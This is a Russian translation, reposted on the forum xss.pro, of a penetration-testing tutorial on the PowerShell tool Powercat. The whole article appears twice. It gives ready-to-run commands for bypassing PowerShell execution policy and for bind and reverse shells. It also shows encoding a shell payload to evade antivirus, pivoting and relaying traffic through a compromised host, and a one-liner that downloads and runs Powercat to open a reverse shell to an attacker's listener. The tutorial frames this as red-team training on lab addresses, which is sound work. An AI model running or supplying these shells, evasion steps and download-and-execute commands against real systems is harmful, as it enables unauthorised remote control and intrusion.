Введение
Powercat - это простая сетевая утилита, используемая для выполнения низкоуровневых сетевых коммуникационных операций. Инструмент представляет собой реализацию хорошо известного Netcat на Powershell. Известно, что традиционные антивирусы позволяют запускать Powercat. Установленный размер утилиты - 68 КБ. Портативность и независимость от платформы этого инструмента делают его незаменимой стрелой в колчане каждого специалиста RT. В этой статье мы продемонстрируем и изучим функции этого инструмента. Вы можете скачать его здесь - https://github.com/secabstraction/PowerCat
Основные параметры в Powercat
Powercat поддерживает различные опции. В этой статье мы рассмотрим следующее.
Настройка Powercat
Политика выполнения Powershell - это функция безопасности в Windows, которая определяет, какие сценарии могут или не могут выполняться в системе, поэтому нам необходимо установить для политики выполнения Powershell значение "bypass". Это позволит запускать все сценарии без ограничений. После этого нам нужно загрузить Powercat с помощью wget.
powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
Теперь, когда мы загрузили сценарий Powercat, мы можем импортировать его в текущий терминал Powershell и затем использовать.
Import-Module .\powercat.ps1
Сканирование портов
Powercat оснащен функцией сканирования открытых портов. Это можно сделать, пытаясь установить TCP-соединение с определенными портами. Например, если мне нужно проверить работающую службу на порту 21,22,80,443, мы можем сделать это следующим образом:
(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}
Обратите внимание, что здесь мы добавили номер порта как переменную списка. Режим клиента (флаг -c) указывает клиента для сканирования. Как видно на скриншоте ниже, если порт был обнаружен открытым, Powercat успешно настроил стрим со службой. Флаг параметра отключения (-d) указывает Powercat отключать стрим, как только он открывается. Следовательно, именно так можно обнаружить открытые порты с помощью Powercat.
Передача файлов
Передача файлов возможна в Powercat путем ввода данных в стрим данных и их извлечения на стороне клиента.
Давайте создадим текстовый файл с именем "notes.txt" в текущей папке. Здесь флаг ввода (-i) используется для ввода данных в поток. Это также можно использовать для перемещения файлов, объекта байтового массива или строк.
Теперь мы сначала настроим прослушатель на стороне клиента. Давайте для удобства воспользуемся netcat в Linux. После настройки мы будем использовать Powercat для передачи этого текстового файла.
nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt
Теперь все, что было в файле notes.txt, было перенесено в пункт назначения. Как видите, файл успешно создан после успешного разрыва соединения.
Биндинг шелла
Биндинг шелла относится к процессу, в котором злоумышленник может подключиться к открытому прослушателю на целевой машине и взаимодействовать. Чтобы продемонстрировать это, мы настроим прослушиватель на цели с помощью Powercat, а затем подключимся к нему. Здесь есть два сценария:
1.Netcat для Powercat: здесь злоумышленником является Kali, и Windows имеет запущенный на нем прослушиватель.
Атакующий -> Кали
Жертва -> Windows
В идеальном сценарии злоумышленник доставит код, который запускается для открытия прослушивателя, а затем позволит злоумышленнику продолжить общение с жертвой, подключившись к ней.
powercat -l -p 443 -e cmd
nc 192.168.1.145 443
Таким образом, мы наблюдаем, что интерактивный сеанс теперь активен на атакующем компьютере.
1. Powercat в Powercat: то же самое может быть достигнуто и между двумя скриптами Powercat. На слушателе мы настраиваем порт 9000 и злоумышленника для подключения и доставки исполняемого файла cmd.
Слушатель: Ignite (имя пользователя Windows)
Злоумышленник: raj (имя пользователя Windows)
powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v
Как видите, злоумышленник успешно может подключиться к прослуштвателю и запускает интерактивный сеанс. Мы проверили аккаунт с помощью whoami.
Реверс шелл
Реверс шеллом называется процесс, в котором на машине злоумышленника работает прослушиватель, к которому подключается жертва, а затем злоумышленник выполняет код.
1. Netcat в Powercat: здесь Kali (netcat) - это машина злоумышленника, прослушиватель которой работает на порту 443, и Windows, работающая под управлением Powercat (жертва), должна подключиться к нему.
Злоумышленник: Netcat (Kali)
Жертва: Ignite (имя пользователя Windows)
Это достигается первым запуском netcat в режиме прослушивателя на атакующем компьютере, а затем запуском powercat в клиентском режиме для подключения.
nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe
Как видите, как только жертва вводит команду Powershell, мы получаем интерактивную оболочку
1. Powercat в Powercat: то же самое можно сделать и с двумя устройствами Windows.
Злоумышленник: Ignite (имя пользователя Windows)
Жертва: raj (имя пользователя Windows)
Давайте сначала настроим прослушиватель на порт 9000, а затем запустим powercat в клиентском режиме, чтобы
подключиться к нему.
powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v
Как видите, интерактивная оболочка была создана при подключении к этому прослушивателю.
Но, конечно же, приведенная выше команда Powercat на стороне жертвы - это просто имитация того, как в реальной жизни будет работать получение интерактивной оболочки посредством удаленного выполнения кода.
Автономный шелл
Опция полезна, когда в системе может быть выполнен сценарий. Это позволяет злоумышленнику закодировать реверс шелл в файле ".ps1" и дождаться выполнения сценария. Сценарий 1. Допустим, выполняется задание cron, которое выполняет сценарий, которому требуется доступ на запись. Можно скопировать и вставить следующую команду, чтобы легко получить реверс шелл даже без доступа к выполнению команд Powershell.
powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1
Убедитесь, что прослушиыатель запущен. Мы используем Kali в качестве атакующей машины с помощью netcat.
nc -lnvp 443
Как видите, существует несколько способов получить интерактивную оболочку на целевой машине с помощью netcat.
Закодированный шелл
Чтобы обойти традиционные устройства безопасности, такие как антивирусные решения, мы можем закодировать шелл, который использовали выше. В Powercat есть хорошая функция для кодирования команды в шестнадцатеричный массив. Таким образом можно обойти некоторые из основных функций безопасности. Это делается так:
powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1
Затем оболочку можно запустить с помощью параметра powershell -E, который может выполнять закодированную строку.
powershell -E <string>
Затем строка представляет собой закодированное значение сверху.
Мы заранее настроили прослушиватель на нашей атакующей машине (kali) и ждали соединения. Как видите, оболочка успешно выполняется.
Туннелирование
Туннелирование - наиболее эффективный механизм сохранения скрытности при выполнении операций RT или даже в реальных сценариях. Powershell и Powercat могут помочь нам с туннелированием и сокрытием нашей личности в следующий раз, когда мы проведем оценку действий RT.
Здесь есть три машины. Здесь злоумышленник связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).
Теперь предположим, что злоумышленник уже имеет доступ к туннельной машине. Мы воспроизведем сценарий с помощью команды Enter-PSSession. Эта утилита позволяет нам получить интерактивный терминал Powershell туннеля с помощью учетных данных.
Enter-PSSession -ComputerName 192.168.1.45 -Credential raj
После ввода учетных данных мы видим, что был создан интерактивный сеанс PowerShell.
Мы запускаем ipconfig как команду валидатора, однако мы сделали интересное наблюдение. На этой машине были настроены две карты LAN и был подключен еще один адаптер. Возможно, в этой подсети работают другие машины.
Чтобы поработать над нашим наблюдением, нам понадобится Powercat в этой системе. Скачиваем его с помощью wget.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls
Но прежде чем мы сможем запустить этот скрипт, нам нужно снова изменить политику выполнения. Кроме того, после небольшого поиска мы обнаружили, что 192.168.146.129 жив и отвечает. Давайте просканируем эту систему с помощью Powercat
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}
Как видите, было открыто три порта: 21,22,80.
Теперь, если мы настроим здесь ретранслятор трафика, наша система злоумышленника сможет связываться и подключаться к SSH на машине жертвы (192.168.146.129)
Мы будем использовать Powercat для настройки ретранслятора трафика:
powercat -l -p 9090 -r tcp:192.168.146.129:22 -v
Как вы можете видеть выше, TCP-трафик с порта 22 на 192.168.146.129 теперь ретранслируется через 192.168.146.128 (туннель) на порт 9090. Таким образом, из внешней системы мы используем PuTTY для подключения к порту 9090 туннельной машины, который соединит нас с машиной-жертвой.
И вот так мы завершили наш туннель и получили доступ к нашей машине-жертве.
Мы также можем использовать Powercat для настройки реле на порт 80, через которое мы сможем получить доступ к веб-сайту, запущенному на жертве.
powercat -l -p 9090 -r tcp:192.168.146.129:80 -v
Как видно, жертва теперь доступна через этот туннель.
Powercat One Liner
Реверс шелл интерпретатор Powercat также существует как однострочная команда. Предположим, что у нас есть выполнение кода на жертве, мы можем использовать однострочную оболочку Powercat, чтобы вернуть обратную оболочку на прослушиватель, работающий на машине злоумышленника. Для этого процесса нам нужно скачать Powercat в отдельную папке и запустить веб-сервер.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80
Теперь мы немедленно настроим прослушиватель на порт 4444 на атакующей (kali) машине. Между тем, у нас есть выполнение кода на цели, и поэтому мы будем использовать следующий однострочник Powershell/Powercat:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Как только мы нажмем Enter, мы получим обратную оболочку для прослушивателя, работающего в Kali.
Вывод
Следовательно, в этой статье мы продемонстрировали различные функции Powercat. Этот инструмент с готовностью используется в атаках RT и становится частью основных курсов сертификации по кибербезопасности. Надеюсь, статья поможет соискателям/студентам или аналитикам понять инструмент простым и эффективным способом. Спасибо за чтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powercat-for-pentester/
Powercat - это простая сетевая утилита, используемая для выполнения низкоуровневых сетевых коммуникационных операций. Инструмент представляет собой реализацию хорошо известного Netcat на Powershell. Известно, что традиционные антивирусы позволяют запускать Powercat. Установленный размер утилиты - 68 КБ. Портативность и независимость от платформы этого инструмента делают его незаменимой стрелой в колчане каждого специалиста RT. В этой статье мы продемонстрируем и изучим функции этого инструмента. Вы можете скачать его здесь - https://github.com/secabstraction/PowerCat
Основные параметры в Powercat
Powercat поддерживает различные опции. В этой статье мы рассмотрим следующее.
| -l | Listen for a connection |
| -c | Connect to a listener |
| -p | The port to connect to, or listen on |
| -e | Execute |
| -ep | Execute Powershell |
| -g | Generate Payload |
| -ge | Generate Encoded Payload |
| -d | Disconnect stream |
| -i | Input data |
Настройка Powercat
Политика выполнения Powershell - это функция безопасности в Windows, которая определяет, какие сценарии могут или не могут выполняться в системе, поэтому нам необходимо установить для политики выполнения Powershell значение "bypass". Это позволит запускать все сценарии без ограничений. После этого нам нужно загрузить Powercat с помощью wget.
powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
Теперь, когда мы загрузили сценарий Powercat, мы можем импортировать его в текущий терминал Powershell и затем использовать.
Import-Module .\powercat.ps1
Сканирование портов
Powercat оснащен функцией сканирования открытых портов. Это можно сделать, пытаясь установить TCP-соединение с определенными портами. Например, если мне нужно проверить работающую службу на порту 21,22,80,443, мы можем сделать это следующим образом:
(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}
Обратите внимание, что здесь мы добавили номер порта как переменную списка. Режим клиента (флаг -c) указывает клиента для сканирования. Как видно на скриншоте ниже, если порт был обнаружен открытым, Powercat успешно настроил стрим со службой. Флаг параметра отключения (-d) указывает Powercat отключать стрим, как только он открывается. Следовательно, именно так можно обнаружить открытые порты с помощью Powercat.
Передача файлов
Передача файлов возможна в Powercat путем ввода данных в стрим данных и их извлечения на стороне клиента.
Давайте создадим текстовый файл с именем "notes.txt" в текущей папке. Здесь флаг ввода (-i) используется для ввода данных в поток. Это также можно использовать для перемещения файлов, объекта байтового массива или строк.
Теперь мы сначала настроим прослушатель на стороне клиента. Давайте для удобства воспользуемся netcat в Linux. После настройки мы будем использовать Powercat для передачи этого текстового файла.
nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt
Теперь все, что было в файле notes.txt, было перенесено в пункт назначения. Как видите, файл успешно создан после успешного разрыва соединения.
Биндинг шелла
Биндинг шелла относится к процессу, в котором злоумышленник может подключиться к открытому прослушателю на целевой машине и взаимодействовать. Чтобы продемонстрировать это, мы настроим прослушиватель на цели с помощью Powercat, а затем подключимся к нему. Здесь есть два сценария:
1.Netcat для Powercat: здесь злоумышленником является Kali, и Windows имеет запущенный на нем прослушиватель.
Атакующий -> Кали
Жертва -> Windows
В идеальном сценарии злоумышленник доставит код, который запускается для открытия прослушивателя, а затем позволит злоумышленнику продолжить общение с жертвой, подключившись к ней.
powercat -l -p 443 -e cmd
nc 192.168.1.145 443
Таким образом, мы наблюдаем, что интерактивный сеанс теперь активен на атакующем компьютере.
1. Powercat в Powercat: то же самое может быть достигнуто и между двумя скриптами Powercat. На слушателе мы настраиваем порт 9000 и злоумышленника для подключения и доставки исполняемого файла cmd.
Слушатель: Ignite (имя пользователя Windows)
Злоумышленник: raj (имя пользователя Windows)
powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v
Как видите, злоумышленник успешно может подключиться к прослуштвателю и запускает интерактивный сеанс. Мы проверили аккаунт с помощью whoami.
Реверс шелл
Реверс шеллом называется процесс, в котором на машине злоумышленника работает прослушиватель, к которому подключается жертва, а затем злоумышленник выполняет код.
1. Netcat в Powercat: здесь Kali (netcat) - это машина злоумышленника, прослушиватель которой работает на порту 443, и Windows, работающая под управлением Powercat (жертва), должна подключиться к нему.
Злоумышленник: Netcat (Kali)
Жертва: Ignite (имя пользователя Windows)
Это достигается первым запуском netcat в режиме прослушивателя на атакующем компьютере, а затем запуском powercat в клиентском режиме для подключения.
nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe
Как видите, как только жертва вводит команду Powershell, мы получаем интерактивную оболочку
1. Powercat в Powercat: то же самое можно сделать и с двумя устройствами Windows.
Злоумышленник: Ignite (имя пользователя Windows)
Жертва: raj (имя пользователя Windows)
Давайте сначала настроим прослушиватель на порт 9000, а затем запустим powercat в клиентском режиме, чтобы
подключиться к нему.
powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v
Как видите, интерактивная оболочка была создана при подключении к этому прослушивателю.
Но, конечно же, приведенная выше команда Powercat на стороне жертвы - это просто имитация того, как в реальной жизни будет работать получение интерактивной оболочки посредством удаленного выполнения кода.
Автономный шелл
Опция полезна, когда в системе может быть выполнен сценарий. Это позволяет злоумышленнику закодировать реверс шелл в файле ".ps1" и дождаться выполнения сценария. Сценарий 1. Допустим, выполняется задание cron, которое выполняет сценарий, которому требуется доступ на запись. Можно скопировать и вставить следующую команду, чтобы легко получить реверс шелл даже без доступа к выполнению команд Powershell.
powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1
Убедитесь, что прослушиыатель запущен. Мы используем Kali в качестве атакующей машины с помощью netcat.
nc -lnvp 443
Как видите, существует несколько способов получить интерактивную оболочку на целевой машине с помощью netcat.
Закодированный шелл
Чтобы обойти традиционные устройства безопасности, такие как антивирусные решения, мы можем закодировать шелл, который использовали выше. В Powercat есть хорошая функция для кодирования команды в шестнадцатеричный массив. Таким образом можно обойти некоторые из основных функций безопасности. Это делается так:
powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1
Затем оболочку можно запустить с помощью параметра powershell -E, который может выполнять закодированную строку.
powershell -E <string>
Затем строка представляет собой закодированное значение сверху.
Мы заранее настроили прослушиватель на нашей атакующей машине (kali) и ждали соединения. Как видите, оболочка успешно выполняется.
Туннелирование
Туннелирование - наиболее эффективный механизм сохранения скрытности при выполнении операций RT или даже в реальных сценариях. Powershell и Powercat могут помочь нам с туннелированием и сокрытием нашей личности в следующий раз, когда мы проведем оценку действий RT.
Здесь есть три машины. Здесь злоумышленник связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).
Теперь предположим, что злоумышленник уже имеет доступ к туннельной машине. Мы воспроизведем сценарий с помощью команды Enter-PSSession. Эта утилита позволяет нам получить интерактивный терминал Powershell туннеля с помощью учетных данных.
Enter-PSSession -ComputerName 192.168.1.45 -Credential raj
После ввода учетных данных мы видим, что был создан интерактивный сеанс PowerShell.
Мы запускаем ipconfig как команду валидатора, однако мы сделали интересное наблюдение. На этой машине были настроены две карты LAN и был подключен еще один адаптер. Возможно, в этой подсети работают другие машины.
Чтобы поработать над нашим наблюдением, нам понадобится Powercat в этой системе. Скачиваем его с помощью wget.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls
Но прежде чем мы сможем запустить этот скрипт, нам нужно снова изменить политику выполнения. Кроме того, после небольшого поиска мы обнаружили, что 192.168.146.129 жив и отвечает. Давайте просканируем эту систему с помощью Powercat
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}
Как видите, было открыто три порта: 21,22,80.
Теперь, если мы настроим здесь ретранслятор трафика, наша система злоумышленника сможет связываться и подключаться к SSH на машине жертвы (192.168.146.129)
Мы будем использовать Powercat для настройки ретранслятора трафика:
powercat -l -p 9090 -r tcp:192.168.146.129:22 -v
Как вы можете видеть выше, TCP-трафик с порта 22 на 192.168.146.129 теперь ретранслируется через 192.168.146.128 (туннель) на порт 9090. Таким образом, из внешней системы мы используем PuTTY для подключения к порту 9090 туннельной машины, который соединит нас с машиной-жертвой.
И вот так мы завершили наш туннель и получили доступ к нашей машине-жертве.
Мы также можем использовать Powercat для настройки реле на порт 80, через которое мы сможем получить доступ к веб-сайту, запущенному на жертве.
powercat -l -p 9090 -r tcp:192.168.146.129:80 -v
Как видно, жертва теперь доступна через этот туннель.
Powercat One Liner
Реверс шелл интерпретатор Powercat также существует как однострочная команда. Предположим, что у нас есть выполнение кода на жертве, мы можем использовать однострочную оболочку Powercat, чтобы вернуть обратную оболочку на прослушиватель, работающий на машине злоумышленника. Для этого процесса нам нужно скачать Powercat в отдельную папке и запустить веб-сервер.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80
Теперь мы немедленно настроим прослушиватель на порт 4444 на атакующей (kali) машине. Между тем, у нас есть выполнение кода на цели, и поэтому мы будем использовать следующий однострочник Powershell/Powercat:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Как только мы нажмем Enter, мы получим обратную оболочку для прослушивателя, работающего в Kali.
Вывод
Следовательно, в этой статье мы продемонстрировали различные функции Powercat. Этот инструмент с готовностью используется в атаках RT и становится частью основных курсов сертификации по кибербезопасности. Надеюсь, статья поможет соискателям/студентам или аналитикам понять инструмент простым и эффективным способом. Спасибо за чтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powercat-for-pentester/